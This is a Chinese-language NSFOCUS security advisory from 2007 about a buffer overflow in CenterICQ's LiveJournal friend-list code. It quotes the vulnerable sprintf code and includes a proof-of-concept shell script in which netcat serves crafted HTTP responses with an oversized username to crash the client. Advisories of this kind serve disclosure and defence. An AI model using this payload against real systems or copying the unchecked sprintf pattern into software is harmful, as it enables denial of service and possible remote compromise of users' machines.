安全研究

安全漏洞
CenterICQ IJHook.CC远程溢出漏洞

发布日期：2007-01-08
更新日期：2007-01-09

受影响系统：
Konst CenterICQ 4.9.11 - 4.21.0
描述：
BUGTRAQ  ID: 21932

Centericq是一个文本模式的IM界面，支持多种即时通讯协议。

CenterICQ支持LiveJournal功能，例如通过LiveJournal的统一HTTP界面显示是否从好友列表添加或删除了用户。这个功能中存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户机器。

漏洞代码如下：

$SOURCE/src/hooks/ljhook.cc:
char buf[512];
...
            if(find(friendof.begin(), friendof.end(), in->first) ==
friendof.end()) {
                friendof.push_back(in->first);

                if(!foempty) {
                    bd = (string) "http://" +
conf.getourid(proto).server + "/users/" + in->first;

                    sprintf(buf, _("The user %s (%s) has added you to
his/her friend list\n\nJournal address: %s"),
                        in->first.c_str(), in->second.c_str(), bd.c_str());

                    em.store(imnotification(self, buf));
                }
            }
...

CenterICQ定期检查服务器的好友列表（#define PERIOD_FRIENDS 3600，也就是每3600秒检查一次）。如果用户位于他人的好友列表中，而另一个用户将该用户添加到了自己的好友列表，则foempty就会得到true，然后调用sprintf，导致buf中出现缓冲区溢出。用户名（in->first）或真实名称（in->second）完全没有经过检查，意味着如果2*length(username) + length(realname) + length(string literals) >= sizeof(buf)的话就会出现溢出。

<*来源：Lolek （lolek1337@gmail.com）
        Roflek （roflek1337@gmail.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=116828377421561&w=2
*>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

将以下内容添加到~/.centericq/conf：

lj_nick    randomname
lj_pass    randompass
lj_server    localhost:8000
lj_status    o
lj_importfriends    1

启动以下shell脚本CenterICQ就会拒绝服务。

--- SNIP ---
#!/bin/sh

cat > req1.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_count
1
success
OK
__EOF

cat > req2.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
foo
friendof_2_user
foo
friendof_count
2
success
OK
__EOF

cat > req3.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
lolek
friendof_2_user
lolek
friendof_3_bg
#ffffff
friendof_3_fg
#000000
friendof_3_name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
friendof_3_user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAA friendof_count
3
success
OK
__EOF

netcat -lp 8000 < req1.txt
netcat -lp 8000 < req2.txt
netcat -lp 8000 < req3.txt

--- SNIP ---

建议：
厂商补丁：

Konst
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://thekonst.net/centericq/

浏览次数：3128
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障
关于我们
公司介绍
公司荣誉
公司新闻
联系我们
公司总部
分支机构
海外机构
快速链接
绿盟云
绿盟威胁情报中心NTI
技术博客